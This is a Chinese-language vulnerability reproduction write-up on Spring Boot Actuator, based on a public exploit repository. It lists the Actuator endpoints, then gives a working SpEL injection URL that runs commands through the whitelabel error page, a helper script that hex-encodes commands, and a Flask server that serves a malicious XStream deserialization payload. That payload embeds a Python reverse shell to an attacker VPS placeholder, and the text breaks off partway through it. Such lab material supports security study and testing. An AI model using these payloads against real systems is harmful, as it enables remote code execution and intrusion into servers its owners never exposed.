前言
Spring Boot Actuator 未授权访问漏洞在日常的测试中还是能碰到一些的,这种未授权在某些情况下是可以达到RCE的效果的,所以还有有一定价值的,下面就是对这一系列漏洞复现。
基本上就是参考这篇文章的做的复现:
LandGrey/SpringBootVulExploit: SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list (github.com)
Spring Boot Actuator简介
Spring Boot Actuator端点通过 JMX 和HTTP 公开暴露给外界访问,大多数时候我们使用基于HTTP的Actuator端点,因为它们很容易通过浏览器、CURL命令、shell脚本等方式访问。
一些有用的执行器端点是:
Spring Boot Actuator未授权访问
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的’指标’信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
- Spring Boot Actuator 1.x 版本默认内置路由的起始路径为
/
,2.x 版本则统一以/actuator
为起始路径 - Spring Boot Actuator 默认的内置路由名字,如
/env
有时候也会被程序员修改,比如修改成/appenv
whitelabel error page SpEL RCE
1 影响版本:
- 影响版本:
1.1.0-1.1.12
1.2.0-1.2.7
1.3.0
2 漏洞原理:
- 利用条件是使用了springboot的默认错误页(Whitelabel Error Page)
-
spring boot 处理参数值出错,流程进入
org.springframework.util.PropertyPlaceholderHelper
类中 -
此时 URL 中的参数值会用
parseStringValue
方法进行递归解析 -
其中
${}
包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
类的resolvePlaceholder
方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
3 验证检测方法:
步骤一:找到一个正常传参处
比如发现访问 /article
,页面会报状态码为 500 的错误: Whitelabel Error Page
步骤二:执行 SpEL 表达式
输入 /article?id=${7*7}
,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
4 利用方法:
由字符串格式转换成 0x**
java 字节形式,方便执行任意代码:
# author: Zeo
# python: 3.7
# software: PyCharm
"""
文件说明:转换字节码
"""
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
正常访问:
http://127.0.0.1:9091/article?id=66
执行 open -a Calculator
命令:
http://127.0.0.1:8080/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
漏洞环境搭建:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce
eureka xstream deserialization RCE
1 利用条件:
- 可以 POST 请求目标网站的
/env
接口设置属性 - 可以 POST 请求目标网站的
/refresh
接口刷新配置(存在spring-boot-starter-actuator
依赖) - 目标使用的
eureka-client
< 1.8.7(通常包含在spring-cloud-starter-netflix-eureka-client
依赖中) - 目标可以请求攻击者的 HTTP 服务器(请求可出外网)
2 漏洞原理:
- eureka.client.serviceUrl.defaultZone 属性被设置为恶意的外部 eureka server URL 地址
- refresh 触发目标机器请求远程 URL,提前架设的 fake eureka server 就会返回恶意的 payload
- 目标机器相关依赖解析 payload,触发 XStream 反序列化,造成 RCE 漏洞
3 漏洞环境:
repository/springboot-eureka-xstream-rce
4 漏洞复现
正常访问:
http://127.0.0.1:9093/env
发现存在所需的依赖
nc 监听端口,等待反弹 shell
架设响应恶意 XStream payload 的网站
运行恶意脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/bash</string>
<string>-c</string>
<string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("VPSIP",4443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>